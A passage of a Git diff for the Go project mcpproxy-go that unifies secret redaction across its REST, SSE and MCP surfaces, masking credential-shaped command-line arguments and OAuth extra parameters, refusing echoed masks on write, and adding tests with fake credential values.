"github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// Issue #1148, round 4 finding 3: the REST twin of the MCP surface. The +// `upstream_servers list` payload masks credential-shaped argv tokens and +// oauth extra_params; GET /api/v1/servers returned both in the clear. +// +// Passing a credential as an argv token (`uvx mcp-foo --api-key sk-…`) is one +// of the commonest MCP server config shapes, and an RFC 8707 resource +// indicator routinely carries a signed URL. +func TestRedactServerSecretFields_MasksArgsAndOAuthExtraParams(t *testing.T) { + srv := &contracts.Server{ + Name: "alpha", + Command: "uvx", + Args: []string{ + "mcp-foo", + "--api-key", "sk-argv-secret-777", + "--endpoint=ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789", + "--port", "8080", + }, + OAuth: &contracts.OAuthConfig{ + ClientID: "client-abc", + ExtraParams: map[string]string{ + "resource": "https://api.example.com/mcp?sig=urlsecret999®ion=eu", + "audience": "tenant-a", + }, + }, + } + + redactServerSecretFields(srv) + + joined := srv.Args + assert.NotContains(t, joined, "sk-argv-secret-777", "a flag-named argv credential must be masked") + for _, a := range joined { + assert.NotContains(t, a, "ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789", + "a value-shaped argv credential must be masked") + } + assert.Contains(t, joined, "mcp-foo", "ordinary arguments must stay readable") + assert.Contains(t, joined, "--api-key", "the flag is the audit signal and must survive") + assert.Contains(t, joined, "8080") + + assert.NotContains(t, srv.OAuth.ExtraParams["resource"], "urlsecret999", + "a signed resource URL in extra_params must be masked") + assert.Equal(t, "tenant-a", srv.OAuth.ExtraParams["audience"], "non-secret params round-trip verbatim") +} + +// The write half of the same contract. REST PATCH REPLACES `args` outright and +// the MCP surface established that argv masks are REFUSED, not reverted (an +// argv slot has no key to bind a stored secret to). Masking args on the REST +// read without refusing them on the REST write would reintroduce exactly the +// read-modify-write corruption the MCP side closed. +func TestRESTArgs_RefuseEchoedMask(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", "sk-argv-secret-777"} + masked := oauth.LiveRedaction.Argv(stored) + require.NotEqual(t, stored[2], masked[2], "precondition: the read path masks the credential") + + assert.Error(t, oauth.CheckArgvMaskEcho("args", masked, stored), + "an echoed mask must be refused, never persisted over the credential") + assert.Error(t, oauth.CheckArgvMaskEcho("args", masked, nil), + "a mask sent on create has nothing to bind to either") + assert.NoError(t, oauth.CheckArgvMaskEcho("args", stored, stored)) + assert.NoError(t, oauth.CheckArgvMaskEcho("args", nil, stored)) +} diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index c8a76d2a0..8bbd45bb4 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -1625,31 +1625,18 @@ func (s *Server) redactServerSecrets(servers []contracts.Server) { } // redactServerSecretFields masks the secret-bearing fields of a single server -// in place. Shared by the REST list/get path and the SSE event stream so both -// sit behind the same trust boundary (parity is load-bearing: the Web UI's -// mergeServers would flicker masked-vs-plaintext otherwise). +// in place. +// +// The field list lives in oauth.RedactServerSecretFields because THREE doors +// serve this struct — the REST list/get path here, the `/events` SSE stream in +// internal/runtime, and the clients reading either — and each used to carry its +// own copy. That is how `args` and `oauth.extra_params` ended up masked on the +// MCP surface and published in the clear on both of these (issue #1148, round 4 +// finding 3). Parity is load-bearing beyond the leak: the Web UI's mergeServers +// treats each payload as authoritative, so a masked-vs-plaintext mismatch would +// flicker on every delivery. func redactServerSecretFields(server *contracts.Server) { - if len(server.Headers) > 0 { - server.Headers = oauth.RedactStringHeaders(server.Headers) - } - if len(server.Env) > 0 { - server.Env = oauth.RedactEnvValues(server.Env) - } - if server.URL != "" { - server.URL = oauth.RedactURLQueryParams(server.URL) - } - if server.LastError != "" { - server.LastError = oauth.RedactSensitiveData(server.LastError) - } - if server.Health != nil && server.Health.Detail != "" { - server.Health.Detail = oauth.RedactSensitiveData(server.Health.Detail) - } - // Spec 044 diagnostic — its Cause echoes the raw connect error, which - // carries the full upstream URL (query secrets and all); scrub it in - // parity with LastError / Health.Detail. - if server.Diagnostic != nil && server.Diagnostic.Cause != "" { - server.Diagnostic.Cause = oauth.RedactSensitiveData(server.Diagnostic.Cause) - } + oauth.RedactServerSecretFields(server) } // enrichServersWithQuarantineStats adds quarantine metrics (pending/changed tool counts) @@ -1996,6 +1983,14 @@ func (s *Server) handleAddServer(w http.ResponseWriter, r *http.Request) { return } + // #1148 round 4: refuse an argv mask on create too. There is no stored + // vector to bind one to here, so a mask can only be a placeholder copied + // out of another server's read payload — never a value worth persisting. + if err := oauth.CheckArgvMaskEcho("args", req.Args, nil); err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } + // GH #1142: refuse a read-only `isolation.enabled` and an unrecognized // isolation mode BEFORE anything is persisted. if err := req.Isolation.validate(); err != nil { @@ -2254,6 +2249,19 @@ func (s *Server) handlePatchServer(w http.ResponseWriter, r *http.Request) { hasUpdates = true } if req.Args != nil { + // #1148 round 4: `args` REPLACES the vector, and the read path masks + // credential-shaped argv tokens. Unlike env/headers/url there is no + // unmask contract for argv — an argv slot has no key to bind a stored + // secret to, and the caller supplies the whole vector *and* `command` + // in the same request — so an echoed mask is refused, not reverted. + var storedArgs []string + if existingSrv != nil { + storedArgs = existingSrv.Args + } + if err := oauth.CheckArgvMaskEcho("args", req.Args, storedArgs); err != nil { + s.writeError(w, r, http.StatusBadRequest, err.Error()) + return + } updates.Args = req.Args hasUpdates = true } diff --git a/internal/oauth/redactview.go b/internal/oauth/redactview.go new file mode 100644 index 000000000..99a97d80b --- /dev/null +++ b/internal/oauth/redactview.go @@ -0,0 +1,377 @@ +package oauth + +import ( + "fmt" + "net/url" + "strings" + "sync" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/security" +) + +// Issue #1148, round 4 finding 3: the redaction RULES live here rather than in +// internal/server because there are TWO doors onto the same server config — +// the MCP `upstream_servers list` payload and `GET /api/v1/servers` — and +// internal/httpapi sits BELOW internal/server in the import graph, so it cannot +// reuse a rule defined up there. Every previous half-done shape on this issue +// (argv masked on MCP but not REST, a field masked on read with no matching +// write-path answer) came from a rule that existed in only one of the two +// places. This file is the one place. +// +// internal/oauth already owns the mask RENDERINGS (MaskValue, AuditMaskValue), +// the name matchers (IsSensitiveKeyName, IsSensitiveHeaderName) and the +// write-path unmaskers (UnmaskURL, UnmaskEnvValues, UnmaskHeaders), so the leaf +// rules that combine them belong here too — and putting them here keeps the +// read rendering and the write revert defined side by side, which is the +// invariant this issue keeps breaking. + +// Redaction is the pair of decisions that separate the two surfaces the rules +// serve. The RULES — which key names are sensitive, which values look like +// credentials, how argv pairs up — are shared; only the rendering and whether +// the value-shaped detector runs over oauth's own contracted leaves differ, so +// the two surfaces cannot drift on the part that decides what is a secret. +type Redaction struct { + // Mask renders one masked secret. Defaults to MaskValue when nil. + Mask func(string) string + + // DetectContracted runs the value-shaped secret detector over the THREE + // leaf kinds this package owns a write-path unmask contract for — env + // values, header values and the server URL — EVEN WHEN the name/URL rules + // already rewrote them. + // + // Only the AUDIT policy sets it. Audit rows are never written back, so + // nothing constrains their rendering and maximal masking wins. + // + // A LIVE surface cannot mask unconditionally: UnmaskEnvValues / + // UnmaskHeaders / UnmaskURL recognise an echoed mask by comparing against + // this package's own rendering byte for byte, and #872 deliberately renders + // a connection string component-wise (`postgres://u:••••(N chars)@host/db`) + // so an operator can edit the database name without the password mask being + // persisted as the password. + // + // It does NOT follow that a live surface skips the detector entirely: a + // vendor-shaped credential under a benign name (`env: {BENIGN: ghp_…}`) is + // invisible to the name matcher. detectContracted below carries the narrow + // rule that closes that without collapsing the component-wise rendering. + DetectContracted bool +} + +// LiveRedaction is the policy for the LIVE read surfaces (the MCP +// `upstream_servers list` / `quarantine_security list_quarantined` payloads and +// `GET /api/v1/servers`). It keeps MaskValue's `•••• ( chars)` +// rendering, which the write-path unmaskers recognise. +var LiveRedaction = Redaction{Mask: MaskValue, DetectContracted: false} + +// AuditRedaction is the policy for anything PERSISTED or EXPORTED: the fixed +// `••••` marker, carrying neither the secret's length nor its trailing bytes. +var AuditRedaction = Redaction{Mask: AuditMaskValue, DetectContracted: true} + +func (r Redaction) masker() func(string) string { + if r.Mask == nil { + return MaskValue + } + return r.Mask +} + +// Leaf masks one string leaf, judged by the field NAME that encloses it and +// then by the value's own shape. +// +// The name rule decides first — it is what keeps the payload readable and says +// WHICH credential is configured — and whatever it passes through is offered to +// the value-shaped detector. A key name is never the only rule: `--endpoint=ghp_…`, +// a credential under a header name no matcher recognises, or a token pasted +// into a field nobody thought of is invisible to name matching and obvious to +// the detector. +// +// `key` is the enclosing field name; pass "" for a leaf with no key (a +// positional argv token). +func (r Redaction) Leaf(key, s string) string { + switch { + case IsHeadersFieldName(key): + return r.HeaderValue(key, s) + case strings.EqualFold(key, "url"): + return r.detectContracted(s, RedactURLQueryParamsWith(s, r.masker())) + default: + // An UNCONTRACTED leaf: a plain config field, a future field, or an + // argv token's value. Nothing unmasks these, so the detector always + // runs. The env-var rule is this package's single source of truth for + // "does this key name look like it holds a secret": it masks + // sensitive-looking keys, passes ${keyring:…}/${env:…} references + // through, URL-redacts connection strings, and runs RedactSensitiveData + // over everything else as defence in depth. + named := RedactEnvValuesWith(map[string]string{key: s}, r.masker())[key] + return MaskDetectedSecrets(named) + } +} + +// EnvValue masks one environment-variable leaf, reproducing maskedEnvValue +// exactly so UnmaskEnvValues can recognise the rendering if a client echoes it +// back on the write path. +func (r Redaction) EnvValue(name, value string) string { + return r.detectContracted(value, RedactEnvValuesWith(map[string]string{name: value}, r.masker())[name]) +} + +// HeaderValue masks one HTTP header leaf, judged by the header NAME first and +// then by the value's own shape. Both rules are needed and neither is +// sufficient: the name matcher cannot enumerate every custom credential header, +// and the detector cannot recognise an opaque value with no credential shape. +func (r Redaction) HeaderValue(name, value string) string { + return r.detectContracted(value, RedactStringHeadersWith(map[string]string{name: value}, r.masker())[name]) +} + +// detectContracted runs the value-shaped detector over a leaf this package owns +// a write-path unmask contract for. `original` is the value before the name/URL +// rule ran, `masked` the value after. +// +// AUDIT: always. Nothing writes back through an audit row. +// +// LIVE: only when the name/URL rule left the value BYTE-IDENTICAL — exactly the +// gap where a credential the name matcher cannot see (`ghp_…` under +// `BENIGN_NAME`) would otherwise be published. The guard is what keeps it from +// collapsing the #872 component-wise connection-string rendering, whose +// readable scheme/host/db the operator's edit flow depends on. +// +// When the detector DOES fire on a live surface the rendering is no longer this +// package's, so UnmaskEnvValues / UnmaskHeaders / UnmaskURL can no longer +// recognise an echoed mask. The live surfaces reproduce THIS rendering on the +// write path (see UnmaskLiveURLParams here, and unmaskLive* in +// internal/server/mcp_server_view.go), so the round trip still cannot persist a +// mask over a secret. +func (r Redaction) detectContracted(original, masked string) string { + if !r.DetectContracted && masked != original { + return masked + } + return MaskDetectedSecrets(masked) +} + +// Argv masks a command-line argument vector. Returns nil for nil. +// +// Two rules, because argv secrets announce themselves in two ways: +// +// - The FLAG names the credential — `--api-key VALUE` and `--api-key=VALUE`. +// Delegated to Leaf with the de-dashed flag as the key, so the same single +// source of truth the env map uses decides, and the flag itself stays +// readable (it is the audit signal: WHICH credential moved). +// - The VALUE is recognisably a credential on its own — an AWS key, a GitHub +// token, a PEM block, a high-entropy blob — wherever it sits. +// +// BOTH rules run on BOTH spellings: Leaf ends in the detector for every leaf, +// which keeps `--endpoint=ghp_…` and `--endpoint ghp_…` in step by construction +// rather than by two call sites remembering to agree. +// +// Everything else round-trips verbatim: package names, subcommands, paths and +// ports are what make the payload useful. +func (r Redaction) Argv(argv []string) []string { + if argv == nil { + return nil + } + out := make([]string, len(argv)) + maskNext := false + for i, s := range argv { + if maskNext { + out[i] = r.masker()(s) + maskNext = false + continue + } + if flag, value, inline := strings.Cut(s, "="); inline && IsArgvFlag(flag) { + out[i] = flag + "=" + r.Leaf(ArgvFlagKey(flag), value) + continue + } + // An unpaired token — a positional argument, a flag name, or the value + // of a flag whose name says nothing. Routing through Leaf with NO + // enclosing key is what keeps the inline and space-separated spellings + // in step: it is the same function the inline branch delegates to, so + // the URL rule, the env-name rule and the detector all apply to both. + out[i] = r.Leaf("", s) + maskNext = IsArgvFlag(s) && IsSensitiveKeyName(ArgvFlagKey(s)) + } + return out +} + +// IsArgvFlag reports whether a token is an option rather than a positional +// argument. A bare "-" or "--" is a convention, not a flag. +func IsArgvFlag(token string) bool { + return strings.HasPrefix(token, "-") && strings.Trim(token, "-") != "" +} + +// ArgvFlagKey turns `--api-key` into the key name the env/header redactors +// match on. +func ArgvFlagKey(flag string) string { + return strings.TrimLeft(flag, "-") +} + +// IsHeadersFieldName reports whether a map/leaf should be masked with HTTP +// header semantics. Covers both the `headers` config field and the +// `headers_json` tool parameter (the suffix is trimmed before the walk). +func IsHeadersFieldName(key string) bool { + return strings.EqualFold(key, "headers") +} + +// detector is built from the DEFAULT detection config rather than the running +// one on purpose: masking a read surface or an audit row is a property of THAT +// surface, and an operator who turned sensitive-data detection off for the call +// path must not thereby cause credentials to be published or persisted in the +// clear. (Detector.MaskText ignores the `enabled` flag for the same reason.) +var detector = sync.OnceValue(func() *security.Detector { + return security.NewDetector(config.DefaultSensitiveDataDetectionConfig()) +}) + +// MaskDetectedSecrets masks any credential the value-shaped detector recognises +// inside s, leaving text it does not recognise untouched. +func MaskDetectedSecrets(s string) string { + masked, _ := detector().MaskText(s) + return masked +} + +// MaskMarkers are the substrings every masked rendering carries: MaskValue / +// AuditMaskValue open with the bullet run, and the value-shaped detector +// (security.MaskValue) ends with the elision+asterisks. +// +// They back up the byte-for-byte echo checks so a mask is still recognised when +// the stored value has since changed and the exact comparison no longer +// matches. TestArgvMaskMarkers_MatchTheRenderings pins them to the functions +// that produce them. +var MaskMarkers = []string{"••••", "…****"} + +// ContainsMaskMarker reports whether a string carries a mask this proxy +// rendered. +func ContainsMaskMarker(s string) bool { + for _, marker := range MaskMarkers { + if strings.Contains(s, marker) { + return true + } + } + return false +} + +// CheckArgvMaskEcho reports an error when an incoming argv vector still carries +// a mask this proxy rendered — either the exact masking of a stored token, or +// any token bearing a mask marker. `field` names the request parameter to quote +// back to the caller (`args_json` on the MCP surface, `args` on REST). +// +// Issue #1148, round 3: argv masks are NEVER reverted, they are REFUSED. An +// argv token has NO KEY — env values bind to the variable name, headers to the +// header name, a URL secret to its scheme+host, but an argv slot has only its +// index and its neighbours, and the caller supplies the WHOLE vector *and* +// `command` in the same request. So every candidate binding is +// caller-controlled and any revert can be steered into relocating the live +// credential into an attacker-chosen command line. +// +// Refusing rather than silently keeping the stored vector is deliberate: the +// argv field REPLACES the vector on both surfaces, so silently ignoring it +// would make the write look applied when it was not. +// +// Returns nil for a vector that carries no mask, which is every legitimate +// write: a caller that changed nothing sends the real values it already has, a +// caller that rotated a credential sends the new one. +func CheckArgvMaskEcho(field string, incoming, stored []string) error { + if len(incoming) == 0 { + return nil + } + + echoed := make(map[string]struct{}, len(stored)) + for i, masked := range LiveRedaction.Argv(stored) { + if masked != stored[i] { + echoed[masked] = struct{}{} + } + } + + for i, token := range incoming { + if _, ok := echoed[token]; !ok && !ContainsMaskMarker(token) { + continue + } + return fmt.Errorf("%s[%d] is a redaction placeholder, not an argument value: "+ + "credential-shaped argv tokens are masked on read and are never restored on write, "+ + "because an argv slot carries no key to bind the secret to. "+ + "Resend the real value for that argument, or omit %s to leave the stored arguments unchanged", + field, i, field) + } + return nil +} + +// UnmaskLiveURLParams reverts, PER QUERY PARAMETER, a value that is exactly the +// value-shaped detector's masking of the stored value for the same parameter +// name. +// +// Issue #1148, round 4 finding 2. UnmaskURL only knows the SENSITIVE query +// params — the ones it masked itself — so a credential the live surface masked +// through the DETECTOR, under a parameter name no matcher recognises +// (`?opaque=ghp_…`), had no revert at all. The whole-URL echo check covered the +// unedited case, but editing any other byte of the URL (the path, a neighbouring +// param) defeated it and the mask was written through as the credential. +// +// The revert is bound to the PARAMETER NAME and to the authority, and to +// nothing else — not to the path, not to the other parameters — which is what +// makes it survive an unrelated edit. As in UnmaskURL, a stored secret is +// restored ONLY when incoming keeps the stored scheme and host:port, so a URL +// redirected at another host never receives it; duplicate keys are restored +// positionally and only when the occurrence counts match. +// +// Anything it cannot bind is left masked on purpose: the caller is then refused +// by the surface's residual-marker check rather than having a mask persisted +// over a credential. +func UnmaskLiveURLParams(incoming, stored string) string { + if incoming == "" || stored == "" { + return incoming + } + inU, err := url.Parse(incoming) + if err != nil { + return incoming + } + stU, err := url.Parse(stored) + if err != nil { + return incoming + } + // Never move a stored secret onto a different scheme/host. + if inU.Scheme != stU.Scheme || inU.Host != stU.Host || inU.RawQuery == "" { + return incoming + } + + storedByKey := map[string][]string{} // decoded key -> ordered stored raw values + for _, part := range strings.Split(stU.RawQuery, "&") { + eq := strings.IndexByte(part, '=') + if eq < 0 { + continue + } + dk := queryUnescapeOr(part[:eq]) + storedByKey[dk] = append(storedByKey[dk], part[eq+1:]) + } + + parts := strings.Split(inU.RawQuery, "&") + incomingCountByKey := map[string]int{} + for _, part := range parts { + if eq := strings.IndexByte(part, '='); eq >= 0 { + incomingCountByKey[queryUnescapeOr(part[:eq])]++ + } + } + + occ := map[string]int{} + changed := false + for i, part := range parts { + eq := strings.IndexByte(part, '=') + if eq < 0 { + continue + } + key := part[:eq] + decKey := queryUnescapeOr(key) + n := occ[decKey] + occ[decKey]++ + storedList, ok := storedByKey[decKey] + if !ok || incomingCountByKey[decKey] != len(storedList) || n >= len(storedList) { + continue + } + storedRaw := storedList[n] + // The detector runs over the URL's RAW bytes on the read path, so the + // comparison is against the raw stored bytes too. + if part[eq+1:] == MaskDetectedSecrets(storedRaw) { + parts[i] = key + "=" + storedRaw + changed = true + } + } + if !changed { + return incoming + } + inU.RawQuery = strings.Join(parts, "&") + return inU.String() +} diff --git a/internal/oauth/serverfields.go b/internal/oauth/serverfields.go new file mode 100644 index 000000000..00f23640b --- /dev/null +++ b/internal/oauth/serverfields.go @@ -0,0 +1,81 @@ +package oauth + +import ( + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// RedactServerSecretFields masks the secret-bearing fields of one +// contracts.Server in place, using the LIVE rendering +// (`•••• ( chars)`; ${keyring:…} / ${env:…} references pass through). +// +// Issue #1148, round 4 finding 3. There are THREE doors that serve this struct +// — `GET /api/v1/servers` and its single-server children, the `/events` SSE +// `servers.changed` payload, and the tray/Web UI reading either — and until now +// the REST handler (internal/httpapi) and the event bus (internal/runtime) each +// carried their OWN copy of the field list. Both copies covered headers, env, +// the URL and the error strings; neither covered `args` or +// `oauth.extra_params`, so a credential passed as `--api-key sk-…` and a signed +// RFC 8707 resource indicator went out in the clear on both. +// +// Parity between those doors is load-bearing beyond the leak: the Web UI's +// mergeServers treats each payload as authoritative, so a masked-vs-plaintext +// mismatch between the list response and the SSE delivery would flicker on +// every event. One function is what makes the parity structural instead of two +// lists that have to be remembered together. +// +// Callers apply the `reveal_secret_headers` opt-out themselves; by the time a +// server reaches here it is being redacted. +// +// The write-path contract per masked field: +// +// - headers / env — reverted from an echoed mask, bound to the map key +// (UnmaskHeaders / UnmaskEnvValues). +// - url — reverted per query parameter, bound to the stored scheme and +// host:port (UnmaskURL / UnmaskLiveURLParams). +// - args — REFUSED, never reverted: an argv slot carries no key to bind a +// stored secret to, and the `args` field replaces the whole vector. See +// CheckArgvMaskEcho, which POST and PATCH /api/v1/servers both call. +// - oauth — read-only over REST (AddServerRequest carries no oauth field), +// so no REST write can echo this mask back. +// - last_error / health.detail / diagnostic.cause — free-form text nothing +// writes back through. +func RedactServerSecretFields(server *contracts.Server) { + if server == nil { + return + } + if len(server.Headers) > 0 { + server.Headers = RedactStringHeaders(server.Headers) + } + if len(server.Env) > 0 { + server.Env = RedactEnvValues(server.Env) + } + if server.URL != "" { + server.URL = RedactURLQueryParams(server.URL) + } + if len(server.Args) > 0 { + server.Args = LiveRedaction.Argv(server.Args) + } + if server.OAuth != nil && len(server.OAuth.ExtraParams) > 0 { + params := make(map[string]string, len(server.OAuth.ExtraParams)) + for k, v := range server.OAuth.ExtraParams { + params[k] = LiveRedaction.Leaf(k, v) + } + // Copy the struct rather than writing through the pointer: the + // contracts.Server may share its OAuth block with the caller's config. + masked := *server.OAuth + masked.ExtraParams = params + server.OAuth = &masked + } + if server.LastError != "" { + server.LastError = RedactSensitiveData(server.LastError) + } + if server.Health != nil && server.Health.Detail != "" { + server.Health.Detail = RedactSensitiveData(server.Health.Detail) + } + // Spec 044 diagnostic — its Cause echoes the raw connect error, which + // carries the full upstream URL (query secrets and all); scrub it in parity + // with LastError / Health.Detail. + if server.Diagnostic != nil && server.Diagnostic.Cause != "" { + server.Diagnostic.Cause = RedactSensitiveData(server.Diagnostic.Cause) + } +} diff --git a/internal/runtime/event_bus.go b/internal/runtime/event_bus.go index bf03eb53a..c7b2e9727 100644 --- a/internal/runtime/event_bus.go +++ b/internal/runtime/event_bus.go @@ -316,38 +316,24 @@ func (r *Runtime) enrichServersWithQuarantineStats(servers []contracts.Server) { } } -// redactServerSecrets mirrors httpapi.(*Server).redactServerSecrets. It masks -// the secret-bearing fields (sensitive headers, env-var secrets, URL query -// credentials, and secrets echoed into last_error / health.detail) unless the -// loaded config opts out via reveal_secret_headers: true. Keeping SSE -// subscribers behind the exact same trust boundary as the REST list is -// load-bearing: the Web UI's mergeServers treats each payload as authoritative, -// so a masked-vs-plaintext mismatch between the two would flicker on every -// delivery. +// redactServerSecrets masks the secret-bearing fields of every server in an SSE +// payload unless the loaded config opts out via reveal_secret_headers: true. +// +// The field list is oauth.RedactServerSecretFields — the same function the REST +// list path calls. It used to be a hand-copied MIRROR of that list, which is +// exactly how `args` and `oauth.extra_params` came to be masked on the MCP +// surface and published in the clear on both of these doors (issue #1148, round +// 4 finding 3). Keeping SSE subscribers behind the exact same trust boundary as +// the REST list is load-bearing: the Web UI's mergeServers treats each payload +// as authoritative, so a masked-vs-plaintext mismatch between the two would +// flicker on every delivery. func (r *Runtime) redactServerSecrets(servers []contracts.Server) { cfg := r.Config() if cfg != nil && cfg.RevealSecretHeaders { return } for i := range servers { - if len(servers[i].Headers) > 0 { - servers[i].Headers = oauth.RedactStringHeaders(servers[i].Headers) - } - if len(servers[i].Env) > 0 { - servers[i].Env = oauth.RedactEnvValues(servers[i].Env) - } - if servers[i].URL != "" { - servers[i].URL = oauth.RedactURLQueryParams(servers[i].URL) - } - if servers[i].LastError != "" { - servers[i].LastError = oauth.RedactSensitiveData(servers[i].LastError) - } - if servers[i].Health != nil && servers[i].Health.Detail != "" { - servers[i].Health.Detail = oauth.RedactSensitiveData(servers[i].Health.Detail) - } - if servers[i].Diagnostic != nil && servers[i].Diagnostic.Cause != "" { - servers[i].Diagnostic.Cause = oauth.RedactSensitiveData(servers[i].Diagnostic.Cause) - } + oauth.RedactServerSecretFields(&servers[i]) } } diff --git a/internal/server/mcp.go b/internal/server/mcp.go index 4e2fc48f4..479c89730 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -5197,7 +5197,13 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest // mask is never persisted over them (parity with the REST PATCH path). // #1148 round 2: unmaskLiveURL recognises THIS surface's rendering // first, then defers to oauth.UnmaskURL for a genuinely edited URL. - patch.URL = unmaskLiveURL(url, existingServer.URL) + // #1148 round 4: a mask the per-parameter revert cannot bind is + // REFUSED rather than persisted over the credential. + unmaskedURL, err := unmaskLiveURL(url, existingServer.URL) + if err != nil { + return nil, opts, err + } + patch.URL = unmaskedURL } if protocol := request.GetString("protocol", ""); protocol != "" { patch.Protocol = protocol @@ -5367,7 +5373,9 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest // config, so client_secret is masked on the read surface — and // oauth_json REPLACES the block, so an unedited echo would persist // the mask over the real secret. Revert it, bound to the field. - unmaskLiveOAuth(&oauth, existingServer.OAuth) + if err := unmaskLiveOAuth(&oauth, existingServer.OAuth); err != nil { + return nil, opts, err + } if err := oauth.Validate(); err != nil { return nil, opts, fmt.Errorf("invalid oauth_json: %w", err) } diff --git a/internal/server/mcp_activity_args.go b/internal/server/mcp_activity_args.go index 4734e34cf..5f8687bfc 100644 --- a/internal/server/mcp_activity_args.go +++ b/internal/server/mcp_activity_args.go @@ -5,7 +5,6 @@ import ( "encoding/json" "fmt" "strings" - "sync" "github.com/mark3labs/mcp-go/mcp" @@ -279,49 +278,25 @@ func normalizeForRedaction(v interface{}) interface{} { return out } -// redactionPolicy is the pair of decisions that separate the two surfaces this -// walker serves (issue #1148). The RULES — which key names are sensitive, which -// values look like credentials, how argv pairs up — are shared; only the -// rendering and the length cap differ, so the two surfaces cannot drift on the -// part that decides what is a secret. +// redactionPolicy pairs the SHARED redaction rules (oauth.Redaction — which +// key names are sensitive, which values look like credentials, how argv pairs +// up) with the one decision that is local to this package: the activity +// store's per-leaf size cap. +// +// The rules themselves live in internal/oauth because there are TWO doors onto +// the same server config — the MCP payloads built here and `GET /api/v1/servers` +// in internal/httpapi, which sits BELOW this package in the import graph. See +// the header of internal/oauth/redactview.go. type redactionPolicy struct { - // mask renders one masked secret. - mask func(string) string + oauth.Redaction // limit caps each string leaf, or 0 for no cap. limit int - // detectContractedLeaves runs the value-shaped secret detector over the - // THREE leaf kinds internal/oauth owns a write-path unmask contract for — - // env values, header values and the server URL — EVEN WHEN the name/URL - // rules already rewrote them. - // - // Only the audit policy sets it. Those rows are never written back, so - // nothing constrains their rendering and maximal masking wins. - // - // A LIVE surface cannot mask unconditionally: oauth.UnmaskEnvValues / - // UnmaskHeaders / UnmaskURL recognise an echoed mask by comparing against - // oauth's own rendering byte for byte, and #872 deliberately renders a - // connection string component-wise (`postgres://u:••••(N chars)@host/db`) - // so an operator can edit the database name without the password mask - // being persisted as the password. - // - // It does NOT follow that a live surface must skip the detector entirely, - // which is what round 2 finding 7 caught: a vendor-shaped credential under - // a benign name (`env: {BENIGN: ghp_…}`) is invisible to the name matcher, - // so the audit policy masked it while the LIVE surface — the one an - // unauthenticated /mcp caller reads — published it. See detectContracted - // for the narrow rule that closes it, and unmaskLive* in - // mcp_server_view.go for the matching write-path revert. - // - // Every OTHER leaf — argv tokens, and any present or future string field - // of ServerConfig — is detector-masked unconditionally under both - // policies: nothing unmasks those, so there is no contract to honour. - detectContractedLeaves bool } // auditRedaction is the policy for anything PERSISTED or EXPORTED: the fixed // `••••` marker (no length, no trailing bytes — see the file header) and the // activity-store size cap. -var auditRedaction = redactionPolicy{mask: oauth.AuditMaskValue, limit: activityArgValueLimit, detectContractedLeaves: true} +var auditRedaction = redactionPolicy{Redaction: oauth.AuditRedaction, limit: activityArgValueLimit} // liveRedaction is the policy for the LIVE MCP read surfaces (upstream_servers // list, quarantine_security list_quarantined). @@ -334,9 +309,8 @@ var auditRedaction = redactionPolicy{mask: oauth.AuditMaskValue, limit: activity // with the mask string. // // It does not cap: a truncated URL or arg is no longer equal to mask(stored), -// so the unmasker would write the truncation through. And it leaves the -// contracted leaves to oauth's own rendering — see detectContractedLeaves. -var liveRedaction = redactionPolicy{mask: oauth.MaskValue, limit: 0, detectContractedLeaves: false} +// so the unmasker would write the truncation through. +var liveRedaction = redactionPolicy{Redaction: oauth.LiveRedaction, limit: 0} // capString applies the policy's length cap, if any. func (r redactionPolicy) capString(s string) string { @@ -395,86 +369,24 @@ func redactValueWith(key string, v interface{}, r redactionPolicy) interface{} { } } -// redactStringWith masks one string leaf. The default policy is the env-var -// rule (oauth.RedactEnvValuesWith over a single pair), which is the package's -// single source of truth for "does this key name look like it holds a secret": -// it masks sensitive-looking keys, passes ${keyring:…}/${env:…} references -// through, URL-redacts connection strings, and runs RedactSensitiveData over -// everything else as defence in depth. Over-masking a harmless field is the safe -// direction; ordinary configuration (protocol, command, LOG_LEVEL, an image -// named python:3.12) stays readable. -// -// Issue #1146, review round 3 — the lesson from the argv leak, applied to EVERY -// leaf: a key name is never the only rule. `--endpoint=ghp_…`, a credential -// under a header name no matcher recognises, a token pasted into a field nobody -// thought of — each is invisible to name matching and obvious to the -// value-shaped detector. So the name rule decides first (it is what keeps the -// record readable and says WHICH credential moved), and whatever it passes -// through is then offered to the detector. A value the name rule already masked -// is inert by the time the detector sees it. -// -// The mask is supplied by the policy — see redactionPolicy above and the file -// header for why the audit and live surfaces render differently. +// redactStringWith masks one string leaf under the shared leaf rule, then +// applies the policy's size cap. `key` is the enclosing field name ("" for a +// leaf with no key, such as a positional argv token). func redactStringWith(key, s string, r redactionPolicy) string { - switch { - case isActivityHeadersKey(key): - return redactHeaderValueWith(key, s, r) - case strings.EqualFold(key, "url"): - return r.capString(r.detectContracted(s, oauth.RedactURLQueryParamsWith(s, r.mask))) - default: - // An UNCONTRACTED leaf: a plain config field, a future field, or an - // argv token's value. Nothing unmasks these, so the detector always - // runs. - named := oauth.RedactEnvValuesWith(map[string]string{key: s}, r.mask)[key] - return r.capString(maskDetectedSecrets(named)) - } + return r.capString(r.Leaf(key, s)) } // redactEnvValueWith masks one environment-variable leaf, reproducing // oauth.maskedEnvValue exactly so oauth.UnmaskEnvValues can recognise the // rendering if a client echoes it back on the write path. func redactEnvValueWith(name, value string, r redactionPolicy) string { - masked := oauth.RedactEnvValuesWith(map[string]string{name: value}, r.mask)[name] - return r.capString(r.detectContracted(value, masked)) -} - -// detectContracted runs the value-shaped detector over a leaf that -// internal/oauth owns a write-path unmask contract for (env value, header -// value, server URL). `original` is the value before the name/URL rule ran, -// `masked` the value after. -// -// AUDIT: always. Nothing writes back through an audit row. -// -// LIVE: only when the name/URL rule left the value BYTE-IDENTICAL (round 2 -// finding 7). That is exactly the reported gap — a credential the name matcher -// cannot see, like `ghp_…` under 